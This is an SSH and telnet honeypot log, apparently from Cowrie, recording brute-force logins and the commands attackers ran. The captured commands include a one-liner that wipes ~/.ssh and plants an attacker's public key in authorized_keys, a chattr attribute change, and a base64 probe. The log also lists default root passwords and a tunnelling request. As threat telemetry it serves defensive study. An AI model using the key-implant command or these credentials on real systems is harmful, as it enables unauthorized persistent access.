{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:49.580130Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:49.997069Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:50.000414Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:50.197259Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:50.200417Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.42.153","src_port":51538,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b457616e92","protocol":"ssh","message":"New connection: 34.81.42.153:51538 (10.17.0.5:22) [session: b2b457616e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:50.382924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:50.387310Z","src_ip":"34.81.42.153","session":"b2b457616e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:50.578150Z","src_ip":"34.81.42.153","session":"b2b457616e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:51.374683Z","src_ip":"34.81.42.153","session":"b2b457616e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:52.570112Z","src_ip":"34.81.42.153","session":"b2b457616e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.42.153","src_port":51542,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff96293a18dd","protocol":"ssh","message":"New connection: 34.81.42.153:51542 (10.17.0.5:22) [session: ff96293a18dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:52.804832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:52.812798Z","src_ip":"34.81.42.153","session":"ff96293a18dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:53.051170Z","src_ip":"34.81.42.153","session":"ff96293a18dd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:54.035060Z","src_ip":"34.81.42.153","session":"ff96293a18dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:54.275793Z","src_ip":"34.81.42.153","session":"ff96293a18dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:54.280701Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.220.238.30","src_port":47325,"dst_ip":"10.17.0.5","dst_port":22,"session":"b430751fe2b9","protocol":"ssh","message":"New connection: 114.220.238.30:47325 (10.17.0.5:22) [session: b430751fe2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:32.549045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:32.552371Z","src_ip":"114.220.238.30","session":"b430751fe2b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:32.779099Z","src_ip":"114.220.238.30","session":"b430751fe2b9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qazwsx123!@#","message":"login attempt [root/Qazwsx123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:33.720546Z","src_ip":"114.220.238.30","session":"b430751fe2b9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:34.728677Z","src_ip":"114.220.238.30","session":"b430751fe2b9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:34.731741Z","src_ip":"114.220.238.30","session":"b430751fe2b9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:34.735147Z","src_ip":"114.220.238.30","session":"b430751fe2b9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:34.965041Z","src_ip":"114.220.238.30","session":"b430751fe2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.220.238.30","src_port":48391,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d8349a5b63","protocol":"ssh","message":"New connection: 114.220.238.30:48391 (10.17.0.5:22) [session: 12d8349a5b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:43.224239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:43.228510Z","src_ip":"114.220.238.30","session":"12d8349a5b63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:43.470248Z","src_ip":"114.220.238.30","session":"12d8349a5b63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:25:46.511617Z","src_ip":"114.220.238.30","session":"12d8349a5b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":54398,"dst_ip":"159.203.135.109","dst_port":22,"session":"28e9a86b44b2","protocol":"ssh","message":"New connection: 85.198.97.85:54398 (159.203.135.109:22) [session: 28e9a86b44b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:26:59.141088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:26:59.145588Z","src_ip":"85.198.97.85","session":"28e9a86b44b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:26:59.284053Z","src_ip":"85.198.97.85","session":"28e9a86b44b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:26:59.692243Z","src_ip":"85.198.97.85","session":"28e9a86b44b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:26:59.999644Z","src_ip":"85.198.97.85","session":"28e9a86b44b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:00.003266Z","src_ip":"85.198.97.85","session":"28e9a86b44b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:00.143765Z","src_ip":"85.198.97.85","session":"28e9a86b44b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:00.148812Z","src_ip":"85.198.97.85","session":"28e9a86b44b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":56952,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf10e8958b37","protocol":"telnet","message":"New connection: 130.12.180.174:56952 (10.17.0.5:23) [session: cf10e8958b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:03.835674Z"}
{"eventid":"cowrie.session.closed","duration":0.5003631114959717,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:04.335923Z","src_ip":"130.12.180.174","session":"cf10e8958b37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":54408,"dst_ip":"10.17.0.5","dst_port":22,"session":"702537ee70d4","protocol":"ssh","message":"New connection: 185.156.73.233:54408 (10.17.0.5:22) [session: 702537ee70d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:41.215929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:41.220457Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:41.291420Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"","message":"login attempt [root/] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:41.640560Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:43.229702Z","src_ip":"114.220.238.30","session":"12d8349a5b63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.254.77.2","dst_port":443,"src_ip":"185.156.73.233","src_port":55918,"message":"direct-tcp connection request to 34.254.77.2:443 from 127.0.0.1:55918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:45.002828Z","session":"702537ee70d4","protocol":"ssh"}
